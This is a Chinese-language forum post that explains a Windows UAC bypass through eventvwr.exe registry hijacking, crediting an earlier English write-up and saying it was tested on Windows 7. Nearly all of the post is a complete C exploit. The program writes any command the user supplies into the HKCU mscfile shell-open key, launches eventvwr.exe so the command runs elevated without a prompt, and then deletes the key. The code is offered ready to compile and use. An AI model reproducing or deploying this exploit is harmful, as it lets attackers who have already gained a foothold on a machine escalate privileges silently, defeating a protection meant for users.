UAC Bypass use eventvwr.exe

Jumbo

又一个bypass UAC的法子，测试通过win7 UAC默认

原文在：https://enigma0x3.net/2016/08/15 ... registry-hijacking/

简单说一下就是eventvwr.exe在启动的时候会去检查注册表的command,恰好current_user 也在其中，

只是这个项目没有创建，当前用户可以通过在 HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command添加命令在用eventvwr.exe去执行就OK了，eventvwr.exe默认是过了UAC的，所以你被执行的命令也是过UAC

作者给的是powershell的poc，我也搞了个exe的，直接上代码。

1. 
   
2. #include <stdio.h>
   
3. #include <Windows.h>
   
4. 
   
5. void help()
   
6. {
   
7. printf("Use: xx.exe [cmd]");
   
8. }
   
9. 
   
10. int main(int argc , char * argv[])
    
11. {
    
12. 
    
13. 
    
14. if (argc != 2)
    
15. {
    
16. help();
    
17. exit(0);
    
18. }
    
19. 
    
20. char *cmd = argv[1];
    
21. if (strlen(cmd) > MAX_PATH)
    
22. {
    
23. printf("[-]: command too long!\n");
    
24. exit(0);
    
25. }
    
26. 
    
27. // Reg key: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
    
28. // run pro: eventvwr
    
29. char *regpath = "Software\\Classes\\mscfile\\shell\\open\\command";
    
30. 
    
31. HKEY Kroot;
    
32. DWORD dwdis;
    
33. DWORD dwtype,dwsize;
    
34. char regsize[2048];
    
35. 
    
36. if ((RegCreateKeyEx(HKEY_CURRENT_USER,regpath,0,NULL,0,KEY_ALL_ACCESS,NULL,&Kroot,&dwdis)) != ERROR_SUCCESS)
    
37. {
    
38. printf("open reg error!\n");
    
39. return -1;
    
40. }
    
41. if ( (RegQueryValueEx(Kroot,NULL,NULL,&dwtype,(LPBYTE)regsize,&dwsize)) == ERROR_SUCCESS)
    
42. {
    
43. RegDeleteKey(HKEY_CURRENT_USER,regpath);
    
44. if ((RegCreateKeyEx(HKEY_CURRENT_USER,regpath,0,NULL,0,KEY_ALL_ACCESS,NULL,&Kroot,&dwdis)) != ERROR_SUCCESS)
    
45. {
    
46. printf("create reg error!\n");
    
47. return -1;
    
48. }
    
49. }
    
50. 
    
51. 
    
52. char syspath[MAX_PATH];
    
53. char command[MAX_PATH];
    
54. memset(command,0,MAX_PATH);
    
55. memset(syspath,0,MAX_PATH);
    
56. GetSystemDirectory(syspath,MAX_PATH);
    
57. sprintf_s(command,MAX_PATH,"%s\\cmd.exe /c %s",syspath,cmd);
    
58. 
    
59. // set command
    
60. RegSetValueEx(Kroot,NULL,0,REG_SZ,(BYTE *)command,sizeof(command));
    
61. 
    
62. // run it
    
63. system("eventvwr.exe");
    
64. 
    
65. //del
    
66. RegDeleteKey(HKEY_CURRENT_USER,regpath);
    
67. 
    
68. 
    
69. RegCloseKey(Kroot);
    
70. }

复制代码